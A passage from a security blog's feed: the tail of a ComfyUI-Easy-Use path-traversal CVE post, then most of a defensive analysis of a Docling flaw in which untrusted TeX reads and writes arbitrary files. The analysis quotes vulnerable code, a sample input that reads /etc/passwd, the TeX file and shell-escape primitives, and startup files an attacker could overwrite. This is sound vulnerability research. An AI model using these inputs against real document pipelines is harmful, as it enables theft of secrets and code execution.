are three different ways for anything later to undo the check.</p><h3 id="Allowlist-the-category-not-just-the-path"><a href="#Allowlist-the-category-not-just-the-path" class="headerlink" title="Allowlist the category, not just the path"></a>Allowlist the category, not just the path</h3><p>Even with correct containment, <code>get_full_path(type, ...)</code> with a caller-chosen <code>type</code> lets the caller pick which tree to stay contained in. “Stay inside <code>custom_nodes</code>“ is still a vulnerability. A helper that exists to save model previews should only accept the folder types it serves. The fix’s <code>(&quot;checkpoints&quot;, &quot;loras&quot;)</code> tuple is the most important line in it.</p><h3 id="Don’t-let-the-input-decide-the-output’s-type"><a href="#Don’t-let-the-input-decide-the-output’s-type" class="headerlink" title="Don’t let the input decide the output’s type"></a>Don’t let the input decide the output’s type</h3><p>Taking the destination extension from the source file meant the attacker chose both what was written and what kind of file it became. When an operation produces a specific file type, the code should fix that type and verify the content, as the patch does with Pillow, rather than inherit it from the input.</p><h3 id="A-plugin’s-routes-are-the-host’s-attack-surface"><a href="#A-plugin’s-routes-are-the-host’s-attack-surface" class="headerlink" title="A plugin’s routes are the host’s attack surface"></a>A plugin’s routes are the host’s attack surface</h3><p>Every route a custom node registers is served by the same unauthenticated server as ComfyUI’s core API. That doesn’t make every custom node author responsible for ComfyUI’s lack of authentication. It does mean a route that writes files or restarts the process can’t assume the only caller is the extension’s own front end.</p><h2 id="Related-reading"><a href="#Related-reading" class="headerlink" title="Related reading"></a>Related reading</h2><ul><li><a href="/posts/2026/10/cve-2026-105744-docling-tikz-tectonic-file-read-write/">CVE-2026-105744: Docling Arbitrary File Read&#x2F;Write via Untrusted TikZ</a>: a correct guard placed one layer too early</li><li><a href="/posts/2026/09/cve-2026-86775-knowns-path-traversal-document-api/">CVE-2026-86775: knowns Path Traversal via the Document API</a>: containment belongs at the sink</li><li><a href="/posts/2026/07/2026-07-13-cve-2026-57572-crawl4ai-docker-api-argument-injection/">CVE-2026-57572: Crawl4AI Unauthenticated RCE via Chromium Argument Injection</a>: another AI-tooling server that trusted its network</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-123790">CVE.org record: CVE-2026-123790</a></li><li><a href="https://kb.cert.org/vuls/id/944667">CERT&#x2F;CC Vulnerability Note VU#944667</a></li><li><a href="https://github.com/yolain/ComfyUI-Easy-Use/commit/8a0f2fc412c1c6f9109e9392064800a87a706775">Fix commit <code>8a0f2fc412</code>: harden model metadata and preview routes</a></li><li><a href="https://github.com/yolain/ComfyUI-Easy-Use/commit/67afdc8204">Follow-up commit <code>67afdc8204</code>: make reboot routes awaitable</a></li><li><a href="https://github.com/yolain/ComfyUI-Easy-Use/issues/1045">ComfyUI-Easy-Use issue #1045</a></li><li><a href="https://github.com/yolain/ComfyUI-Easy-Use/blob/v1.4.1/py/routes.py#L260-L285"><code>save_preview()</code> at v1.4.1</a></li><li><a href="https://github.com/yolain/ComfyUI-Easy-Use/blob/v1.4.1/py/routes.py#L53-L60"><code>reboot()</code> at v1.4.1</a></li><li><a href="https://github.com/pythongosssss/ComfyUI-Custom-Scripts/commit/5aa7f01917be243c6118126e167a93261627c81a">ComfyUI-Custom-Scripts fix <code>5aa7f01</code>: Fix filepath validation</a></li><li><a href="https://github.com/comfyanonymous/ComfyUI/blob/master/folder_paths.py">ComfyUI <code>folder_paths.py</code></a></li><li><a href="https://docs.python.org/3/library/os.path.html#os.path.join">Python documentation: <code>os.path.join</code></a></li></ul><p>Reported by Nguyễn Huy Hoàng (<code>hoanggxyuuki</code>), PTIT, through CERT&#x2F;CC. Thanks to my teacher, Nguyễn Huy Trung, for his guidance, and to Michael Bragg and the CERT&#x2F;CC coordination team for handling a case with no reachable vendor contact. Public vulnerability records are often revised after publication, so recheck the primary sources above before relying on them for remediation.</p>]]></content>
    
    
    <summary type="html">CVE-2026-123790 (VU#944667) affects ComfyUI-Easy-Use up to and including 1.4.1. The unauthenticated POST /easyuse/save/{name} route checks the destination folder before the filename is joined and passes an unrestricted folder type to ComfyUI&#39;s path resolver, so a network client can copy an uploaded .py file over an installed custom node&#39;s __init__.py and get it executed.</summary>
    
    
    
    <category term="Research" scheme="https://blog.nhhoang.io.vn/categories/Research/"/>
    
    <category term="Vulnerability Research" scheme="https://blog.nhhoang.io.vn/categories/Research/Vulnerability-Research/"/>
    
    
    <category term="ai-security" scheme="https://blog.nhhoang.io.vn/tags/ai-security/"/>
    
    <category term="cve" scheme="https://blog.nhhoang.io.vn/tags/cve/"/>
    
    <category term="rce" scheme="https://blog.nhhoang.io.vn/tags/rce/"/>
    
    <category term="path-traversal" scheme="https://blog.nhhoang.io.vn/tags/path-traversal/"/>
    
    <category term="cwe-22" scheme="https://blog.nhhoang.io.vn/tags/cwe-22/"/>
    
    <category term="arbitrary-file-write" scheme="https://blog.nhhoang.io.vn/tags/arbitrary-file-write/"/>
    
    <category term="python" scheme="https://blog.nhhoang.io.vn/tags/python/"/>
    
    <category term="cwe-73" scheme="https://blog.nhhoang.io.vn/tags/cwe-73/"/>
    
    <category term="comfyui" scheme="https://blog.nhhoang.io.vn/tags/comfyui/"/>
    
    <category term="comfyui-easy-use" scheme="https://blog.nhhoang.io.vn/tags/comfyui-easy-use/"/>
    
    <category term="aiohttp" scheme="https://blog.nhhoang.io.vn/tags/aiohttp/"/>
    
    <category term="cwe-306" scheme="https://blog.nhhoang.io.vn/tags/cwe-306/"/>
    
    <category term="cert-cc" scheme="https://blog.nhhoang.io.vn/tags/cert-cc/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2026-105744: Docling Arbitrary File Read/Write via Untrusted TikZ</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/10/cve-2026-105744-docling-tikz-tectonic-file-read-write/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/10/cve-2026-105744-docling-tikz-tectonic-file-read-write/</id>
    <published>2026-10-06T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.496Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Scope and safety.</strong> This is third-party analysis of a fixed, publicly disclosed vulnerability, written from the vendor’s own advisory, CVE record, patch commit and published source. It describes the defective data flow and the remediation. The upstream advisory publishes a minimal proof of concept; this article deliberately does not reproduce a weaponised document, target path list, or exploitation procedure. The TeX primitives named below are named in the CVE description and in the vendor’s own fix, and are documented features of the TeX language.</p></blockquote><h2 id="Executive-summary"><a href="#Executive-summary" class="headerlink" title="Executive summary"></a>Executive summary</h2><p>CVE-2026-105744 affects <a href="https://github.com/docling-project/docling">Docling</a> — IBM’s document-parsing library, and one of the most widely used ingestion front-ends for RAG and LLM pipelines — in versions <strong>from 2.94.0 until 2.132.0</strong>, for both the <code>docling</code> and <code>docling-slim</code> distributions.</p><p>When a caller opts into TikZ rendering with <code>LatexBackendOptions(tikz_engine=&quot;tectonic&quot;)</code>, Docling takes the <code>tikzpicture</code> body <strong>and the document preamble</strong> verbatim out of the input <code>.tex</code> file, wraps them in a <code>standalone</code> document, and compiles that document with the <code>tectonic</code> binary. Nothing restricts what TeX may do with its own file primitives while that compilation runs.</p><p>A crafted <code>.tex</code> file can therefore:</p><ul><li><strong>read</strong> any file the converter process can read, via <code>\input</code>, <code>\verbatiminput</code> or <code>\openin</code> — and the content can be typeset <em>into the rendered image that lands in the conversion output</em>, which makes this an exfiltration channel, not just a local read;</li><li><strong>create or overwrite</strong> any file the process can write, via <code>\immediate\openout</code> and <code>\write</code>. Neither requires shell escape;</li><li><strong>run shell commands</strong> through <code>\write18</code>, if the caller additionally set <code>tikz_engine_allow_shell_escape=True</code>.</li></ul><p>The weaknesses are <strong>CWE-22</strong> (path traversal), <strong>CWE-73</strong> (external control of file name or path) and <strong>CWE-1188</strong> (insecure default initialization). GitHub, as CNA, scores it <strong>CVSS 3.1 7.5 High</strong> — <code>CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H</code>.</p><p>The detail that makes this worth reading is not the bug class. It is that <strong>Docling already had a correct path-traversal guard, and the guard was irrelevant.</strong> <code>_resolve_local_dependency()</code> rejects absolute paths, resolves candidates, calls <code>is_relative_to(source_root)</code>, and logs <code>&quot;Path traversal attempt blocked&quot;</code>. All of that is real, and all of it governs only <em>which files Docling copies into the temporary build directory</em>. It says nothing about what TeX may open once Docling invokes it. The boundary was enforced one layer too early.</p><p>Fixed in <strong>docling 2.132.0</strong>.</p><p><strong>Evidence labels used below:</strong></p><ul><li><strong>Verified</strong> means stated by the CVE record, the GitHub Security Advisory, the patch commit, or the project’s published source and release material.</li><li><strong>Inferred</strong> means a deployment consequence derived from those facts and clearly marked as such.</li></ul><h2 id="Key-facts"><a href="#Key-facts" class="headerlink" title="Key facts"></a>Key facts</h2><table><thead><tr><th>Item</th><th>Finding</th><th>Confidence</th></tr></thead><tbody><tr><td>Identifier</td><td>CVE-2026-105744</td><td>Verified</td></tr><tr><td>Advisory</td><td>GHSA-x3q2-h9hx-4r4j</td><td>Verified</td></tr><tr><td>CNA</td><td>GitHub (<code>GitHub_M</code>)</td><td>Verified</td></tr><tr><td>Product</td><td><code>docling</code> and <code>docling-slim</code> (<code>pkg:pypi/docling</code>)</td><td>Verified</td></tr><tr><td>Affected versions</td><td><code>&gt;= 2.94.0, &lt; 2.132.0</code></td><td>Verified</td></tr><tr><td>Fixed version</td><td>2.132.0</td><td>Verified</td></tr><tr><td>Weaknesses</td><td>CWE-22, CWE-73, CWE-1188</td><td>Verified</td></tr><tr><td>Vulnerable component</td><td><code>docling/backend/latex/engines/tectonic.py</code></td><td>Verified</td></tr><tr><td>Entry point</td><td><code>tikzpicture</code> body <strong>and</strong> preamble of an input <code>.tex</code> file</td><td>Verified</td></tr><tr><td>Dangerous sink</td><td>The <code>tectonic</code> TeX engine, invoked on an attacker-composed document</td><td>Verified</td></tr><tr><td>Precondition</td><td>Caller sets <code>tikz_engine=&quot;tectonic&quot;</code> <strong>and</strong> a <code>tectonic</code> binary is available</td><td>Verified</td></tr><tr><td>Default configuration</td><td><code>tikz_engine=None</code> — <strong>not affected</strong></td><td>Verified</td></tr><tr><td>CLI exposure</td><td>None; the <code>docling</code> CLI has no option to enable it</td><td>Verified</td></tr><tr><td>Read primitive</td><td><code>\input</code>, <code>\verbatiminput</code>, <code>\openin</code></td><td>Verified</td></tr><tr><td>Write primitive</td><td><code>\immediate\openout</code> + <code>\write</code> — no shell escape needed</td><td>Verified</td></tr><tr><td>Command execution</td><td><code>\write18</code>, only with <code>tikz_engine_allow_shell_escape=True</code></td><td>Verified</td></tr><tr><td>Insecure default</td><td><code>TectonicEngine.__init__(allow_shell_escape=True)</code></td><td>Verified</td></tr><tr><td>CVSS 3.1</td><td>7.5 High (<code>AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H</code>)</td><td>Verified</td></tr><tr><td>Reporters</td><td>Credited but not publicly named in the advisory</td><td>Verified</td></tr><tr><td>Exposure window</td><td>2026-05-18 to 2026-10-01, about 4.5 months</td><td>Verified</td></tr></tbody></table><h2 id="Why-this-matters-for-document-ingestion-pipelines"><a href="#Why-this-matters-for-document-ingestion-pipelines" class="headerlink" title="Why this matters for document-ingestion pipelines"></a>Why this matters for document-ingestion pipelines</h2><p>Docling’s entire job is to accept documents from somewhere else. That is the product. A parser that only handles files you authored is not a parser, it is a renderer — so for this class of library, “the input is untrusted” is not an edge case, it is the default operating condition.</p><p>That matters because of where Docling sits. It is the ingestion stage in front of a vector store, a chunker, an LLM. The files reaching it are uploads, email attachments, arXiv tarballs, scraped corpora, CI artefacts, documents a user dropped into a chat window. The process doing the parsing typically runs with ambient credentials that have nothing to do with the document: API keys in the environment, a cloud metadata endpoint one hop away, a writable model cache, a shared scratch volume.</p><p>Three consequences follow, and they are what separates this from a generic file-read bug:</p><ol><li><p><strong>The read is an exfiltration channel, not just a read.</strong> The advisory is explicit that file content “can be typeset into the rendered picture that ends up in the conversion output.” So the attacker does not need a callback, an egress path, or a second request. They submit a document, and the secret comes back to them inside the rendered figure of the parsed result — through whatever interface normally returns parsed documents to users.</p></li><li><p><strong>An arbitrary write in an ingestion worker is a code-execution primitive.</strong> The advisory notes that “writing to startup or configuration files can lead to code execution.” <strong>Inferred:</strong> in a long-lived worker, a Python path, a shell profile, a <code>sitecustomize.py</code>, a cron fragment or a config file read on next start are all plausible targets. The attacker does not need the write to be immediate — ingestion workers restart.</p></li><li><p><strong>Nothing about this requires authentication to Docling.</strong> Docling is a library. <code>PR:N</code> in the vector is accurate because the privilege that matters is “can submit a document to the pipeline,” and that is frequently the least-privileged action a product offers. The <code>UI:R</code> reflects that someone must convert the file — which, in an automated ingestion pipeline, is what the pipeline exists to do.</p></li></ol><p>This is the fourth entry on this site in the same pattern: an AI-infrastructure component treats a configuration-shaped field as data when it is really control. <a href="/posts/2026/07/2026-07-13-cve-2026-57572-crawl4ai-docker-api-argument-injection/">CVE-2026-57572</a> did it with Chromium launch arguments. <a href="/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/">CVE-2026-86439</a> did it with a filesystem path. This one does it with a TeX document — which is worse in kind, because TeX is not a format, it is a programming language.</p><h2 id="Attack-surface-and-trust-boundary"><a href="#Attack-surface-and-trust-boundary" class="headerlink" title="Attack surface and trust boundary"></a>Attack surface and trust boundary</h2><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">Untrusted .tex document  (upload, attachment, scraped corpus, CI artefact)</span><br><span class="line">        |</span><br><span class="line">        | whole file</span><br><span class="line">        v</span><br><span class="line">LatexDocumentBackend</span><br><span class="line">        |</span><br><span class="line">        +-- preamble  = everything before \begin&#123;document&#125;, verbatim</span><br><span class="line">        +-- tikz_raw  = tikzpicture body, verbatim</span><br><span class="line">        |</span><br><span class="line">        | if options.tikz_engine == &quot;tectonic&quot;</span><br><span class="line">        v</span><br><span class="line">TectonicEngine.render(tikz_raw, preamble, source_root)</span><br><span class="line">        |</span><br><span class="line">        +-- _stage_local_dependencies()   &lt;-- the guard lives here</span><br><span class="line">        |      path checks: absolute rejected, is_relative_to(source_root)</span><br><span class="line">        |      governs: WHICH FILES GET COPIED into the temp dir</span><br><span class="line">        |</span><br><span class="line">        +-- compose standalone document, write diagram.tex</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">subprocess.run([tectonic, &quot;--print&quot;, &quot;diagram.tex&quot;])  ---- language boundary ----&gt;</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">TeX interpreter: \input  \openin  \openout  \write  \write18</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">Everything the converter process can read or write</span><br></pre></td></tr></table></figure><p>The guard and the sink are separated by a boundary that the guard cannot see across. <code>_stage_local_dependencies</code> operates on Python strings and <code>pathlib</code> objects, before the compile. The TeX interpreter operates on its own file primitives, during the compile, with the full authority of the process. There is no relationship between the two other than the fact that both happen to involve files.</p><h2 id="Root-cause-analysis"><a href="#Root-cause-analysis" class="headerlink" title="Root-cause analysis"></a>Root-cause analysis</h2><h3 id="The-guard-that-exists"><a href="#The-guard-that-exists" class="headerlink" title="The guard that exists"></a>The guard that exists</h3><p>From <code>docling/backend/latex/engines/tectonic.py</code> at v2.131.0:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@classmethod</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">_resolve_local_dependency</span>(<span class="params"></span></span><br><span class="line"><span class="params">    cls, source_root: Path, raw_path: <span class="built_in">str</span>, *, is_tex: <span class="built_in">bool</span></span></span><br><span class="line"><span class="params"></span>) -&gt; Path | <span class="literal">None</span>:</span><br><span class="line">    raw_path = raw_path.strip()</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> raw_path:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">    candidate = Path(raw_path)</span><br><span class="line">    <span class="keyword">if</span> candidate.is_absolute():</span><br><span class="line">        _log.warning(<span class="string">&quot;Absolute TikZ dependency paths are not staged: %s&quot;</span>, raw_path)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">    resolved = (source_root / candidate).resolve()</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> resolved.is_relative_to(source_root):</span><br><span class="line">            _log.warning(</span><br><span class="line">                <span class="string">&quot;Path traversal attempt blocked for TikZ dependency: %s&quot;</span>, raw_path</span><br><span class="line">            )</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    <span class="keyword">except</span> ValueError:</span><br><span class="line">        _log.warning(<span class="string">&quot;Invalid TikZ dependency path: %s&quot;</span>, raw_path)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    ...</span><br></pre></td></tr></table></figure><p>Read in isolation, this is good code. It rejects absolute paths. It calls <code>.resolve()</code> <em>before</em> the containment check, so symlinks and <code>..</code> segments are collapsed first — which is the ordering most path-traversal bugs get wrong. It fails closed. It even logs the attempt.</p><p>It is also, for the purposes of this CVE, decoration. Note what it returns: a <code>Path</code> that <code>_stage_local_dependencies</code> will <code>shutil.copy2</code> into the temporary directory. Its only output is a copy decision. The advisory states the same thing in one sentence: <code>_resolve_local_dependency</code> “only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time.”</p><p>So <code>\input&#123;../../../../etc/passwd&#125;</code> is correctly refused <em>staging</em>. And then the string <code>\input&#123;../../../../etc/passwd&#125;</code> is written into <code>diagram.tex</code> unchanged, and <code>tectonic</code> is asked to compile it. TeX resolves that path itself, relative to its own working directory, using its own file-opening machinery, and never consults Docling about it.</p><h3 id="The-document-that-gets-compiled"><a href="#The-document-that-gets-compiled" class="headerlink" title="The document that gets compiled"></a>The document that gets compiled</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">latex_doc = (</span><br><span class="line">    <span class="string">&quot;\\documentclass[border=20pt]&#123;standalone&#125;\n&quot;</span></span><br><span class="line">    + preamble</span><br><span class="line">    + <span class="string">&quot;\n&quot;</span></span><br><span class="line">    + <span class="string">&quot;\\begin&#123;document&#125;\n&quot;</span></span><br><span class="line">    + tikz_code</span><br><span class="line">    + <span class="string">&quot;\n&quot;</span></span><br><span class="line">    + <span class="string">&quot;\\end&#123;document&#125;\n&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> tempfile.TemporaryDirectory() <span class="keyword">as</span> temp_dir:</span><br><span class="line">    temp_path = Path(temp_dir)</span><br><span class="line">    <span class="variable language_">self</span>._stage_local_dependencies(temp_path, preamble, tikz_code, source_root)</span><br><span class="line">    tex_file = temp_path / <span class="string">&quot;diagram.tex&quot;</span></span><br><span class="line">    tex_file.write_text(latex_doc, encoding=<span class="string">&quot;utf-8&quot;</span>)</span><br><span class="line"></span><br><span class="line">    cmd = [<span class="built_in">str</span>(<span class="variable language_">self</span>.binary_path)]</span><br><span class="line">    <span class="keyword">if</span> <span class="variable language_">self</span>.allow_shell_escape:</span><br><span class="line">        cmd.extend([<span class="string">&quot;-Z&quot;</span>, <span class="string">&quot;shell-escape&quot;</span>])</span><br><span class="line">    cmd.append(<span class="string">&quot;--print&quot;</span>)</span><br><span class="line">    cmd.append(<span class="built_in">str</span>(tex_file))</span><br></pre></td></tr></table></figure><p>Two attacker-controlled regions are concatenated into that document, and it is worth being precise about both, because one of them is easy to miss.</p><p><code>tikz_code</code> is the <code>tikzpicture</code> body. That one is obvious.</p><p><code>preamble</code> is <strong>everything in the input file before <code>\begin&#123;document&#125;</code></strong>, with only the <code>\documentclass</code> line removed. From <code>docling/backend/latex/backend.py</code>:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">preamble_match = re.search(</span><br><span class="line">    <span class="string">r&quot;^(.*?)\\begin\&#123;document\&#125;&quot;</span>, preprocessed_text, re.DOTALL</span><br><span class="line">)</span><br><span class="line"><span class="keyword">if</span> preamble_match:</span><br><span class="line">    raw_preamble = preamble_match.group(<span class="number">1</span>)</span><br><span class="line">    <span class="variable language_">self</span>.latex_preamble = re.sub(</span><br><span class="line">        <span class="string">r&quot;\\documentclass(?:\[[^\]]*\])?\s*\&#123;[^&#125;]*\&#125;&quot;</span>, <span class="string">&quot;&quot;</span>, raw_preamble</span><br><span class="line">    )</span><br></pre></td></tr></table></figure><p>The only filtering applied to it before compilation is <code>_sanitize_preamble_for_tectonic()</code>, which comments out three pdfTeX assignment primitives (<code>\pdfcompresslevel</code>, <code>\pdfminorversion</code>, <code>\pdfobjcompresslevel</code>) because <em>Tectonic does not implement them</em>. That is a compatibility shim, not a security control, and the code says so in its own docstring: “Drop assignment-only pdfTeX primitives Tectonic&#x2F;XeTeX does not provide.”</p><p>So the attacker controls a full LaTeX preamble — the part of a document where you are <em>supposed</em> to put <code>\usepackage</code>, macro definitions, and <code>\immediate\write</code> calls. The preamble is not a constrained region. It is the configuration section of a programming language.</p><h3 id="The-sink-is-an-interpreter"><a href="#The-sink-is-an-interpreter" class="headerlink" title="The sink is an interpreter"></a>The sink is an interpreter</h3><p>This is the part that makes the bug class interesting rather than routine. The sink is not <code>open()</code>. It is not <code>os.path.join</code>. It is:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">subprocess.run(</span><br><span class="line">    cmd,</span><br><span class="line">    cwd=temp_dir,</span><br><span class="line">    capture_output=<span class="literal">True</span>,</span><br><span class="line">    check=<span class="literal">True</span>,</span><br><span class="line">    timeout=<span class="variable language_">self</span>.timeout,</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p><code>tectonic</code> is a TeX engine, and TeX is Turing-complete with first-class file I&#x2F;O. <code>\openin</code> and <code>\openout</code> are not obscure corners; they are the primitives that <code>\include</code>, auxiliary files, <code>.toc</code> generation and every cross-referencing package are built on. Removing them would break LaTeX.</p><p>Which means there is no flag you can pass to a TeX engine that says “be a renderer, not a program.” The capability is the language. Once Docling decided to hand attacker-composed source to <code>tectonic</code>, the only remaining question was what the operating system would permit — and <code>cwd=temp_dir</code> sets the working directory, which is not a jail. An absolute path ignores it, and <code>..</code> walks out of it.</p><h3 id="The-insecure-default"><a href="#The-insecure-default" class="headerlink" title="The insecure default"></a>The insecure default</h3><p>Separately, from the same file at v2.131.0:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params"></span></span><br><span class="line"><span class="params">    self,</span></span><br><span class="line"><span class="params">    timeout: <span class="built_in">float</span> = <span class="number">60.0</span>,</span></span><br><span class="line"><span class="params">    allow_shell_escape: <span class="built_in">bool</span> = <span class="literal">True</span>,</span></span><br><span class="line"><span class="params"></span>):</span><br></pre></td></tr></table></figure><p>The constructor defaulted shell escape <strong>on</strong> — that is the CWE-1188 component. In practice the LaTeX backend always passes the value explicitly:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">self</span>._tectonic_engine = TectonicEngine(</span><br><span class="line">    timeout=opts.tikz_engine_timeout,</span><br><span class="line">    allow_shell_escape=opts.tikz_engine_allow_shell_escape,</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>and <code>LatexBackendOptions.tikz_engine_allow_shell_escape</code> defaults to <code>False</code>. So the bad default is only reachable by code that instantiates <code>TectonicEngine</code> directly, which the advisory states plainly. It is still worth flagging, because “the only caller in this repository happens to pass the argument” is a property of today’s call graph, not of the API. Any downstream integration, notebook, or future call site that writes <code>TectonicEngine()</code> gets <code>\write18</code> with no indication that it opted into anything.</p><h3 id="The-in-memory-case-removes-even-the-staging"><a href="#The-in-memory-case-removes-even-the-staging" class="headerlink" title="The in-memory case removes even the staging"></a>The in-memory case removes even the staging</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">preamble = <span class="variable language_">self</span>.latex_preamble</span><br><span class="line">source_root = <span class="literal">None</span></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">isinstance</span>(<span class="variable language_">self</span>.path_or_stream, Path):</span><br><span class="line">    source_root = <span class="variable language_">self</span>.path_or_stream.parent</span><br></pre></td></tr></table></figure><p><code>source_root</code> is set only when the input is a filesystem <code>Path</code>. For a <code>DocumentStream</code> — the normal way to feed Docling bytes from an upload, a queue, or an HTTP handler — it stays <code>None</code>, and <code>_stage_local_dependencies</code> returns immediately:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> source_root <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">    <span class="keyword">return</span></span><br></pre></td></tr></table></figure><p>No staging happens, so none of the path validation runs at all. But <code>tex_file.write_text(latex_doc)</code> and <code>subprocess.run(cmd)</code> happen regardless. The compile proceeds with the attacker’s document and zero path checks.</p><p><strong>Inferred:</strong> this is the configuration most likely to be in production. A service accepting uploads holds bytes, not paths. So the deployment shape with the <em>least</em> input validation is also the one most exposed to untrusted documents — the staging guard is most active exactly where the input is most likely to be trusted (a local file you pointed the CLI at), and entirely absent where it is least likely to be trusted.</p><h3 id="The-data-flow-end-to-end"><a href="#The-data-flow-end-to-end" class="headerlink" title="The data flow, end to end"></a>The data flow, end to end</h3><table><thead><tr><th>Step</th><th>Component</th><th>Attacker control</th></tr></thead><tbody><tr><td>1</td><td>Document submitted to the pipeline</td><td>Full file contents</td></tr><tr><td>2</td><td><code>LatexDocumentBackend</code> splits preamble &#x2F; body</td><td>Both regions, verbatim</td></tr><tr><td>3</td><td><code>_sanitize_preamble_for_tectonic</code></td><td>Three pdfTeX assignments commented out; everything else survives</td></tr><tr><td>4</td><td><code>_stage_local_dependencies</code></td><td>Path-checked, or skipped entirely for a stream</td></tr><tr><td>5</td><td><code>diagram.tex</code> composed and written</td><td>Preamble and TikZ body embedded unmodified</td></tr><tr><td>6</td><td><code>tectonic --print diagram.tex</code></td><td>TeX executes attacker source with process privileges</td></tr><tr><td>7</td><td>PDF rasterised into the output document</td><td>Read file content returns to the caller inside the image</td></tr></tbody></table><p>Step 4 is the only step with a security check in it, and it is the only step that does not touch the data that reaches step 6.</p><h2 id="Why-untrusted-was-not-the-answer-on-its-own"><a href="#Why-untrusted-was-not-the-answer-on-its-own" class="headerlink" title="Why --untrusted was not the answer on its own"></a>Why <code>--untrusted</code> was not the answer on its own</h2><p>The obvious reading of the fix is “pass Tectonic its hardening flag.” That is part of what the patch does, and it is not sufficient — and the advisory is unusually candid about why:</p><blockquote><p><code>\immediate\openout</code> &#x2F; <code>\write</code> create or overwrite files outside the temporary directory. Neither needs shell escape. <strong>Tectonic’s <code>--untrusted</code> flag does not block them either.</strong></p></blockquote><p><code>--untrusted</code> turns off shell escape and extra search paths. It does not turn off TeX’s own write primitives, because those are load-bearing for ordinary documents. So even a correctly hardened invocation leaves the arbitrary-write primitive intact. That is why 2.132.0 needs a <em>source inspection</em> step in addition to the flags — and why the source inspection is the weaker half of the fix.</p><h2 id="Impact"><a href="#Impact" class="headerlink" title="Impact"></a>Impact</h2><h3 id="Verified"><a href="#Verified" class="headerlink" title="Verified"></a>Verified</h3><ul><li><strong>Arbitrary file read</strong>, limited to what the converter process can read, via <code>\input</code>, <code>\verbatiminput</code> and <code>\openin</code>.</li><li><strong>Content disclosure back to the attacker</strong>, because read content can be typeset into the rendered picture included in the conversion output.</li><li><strong>Arbitrary 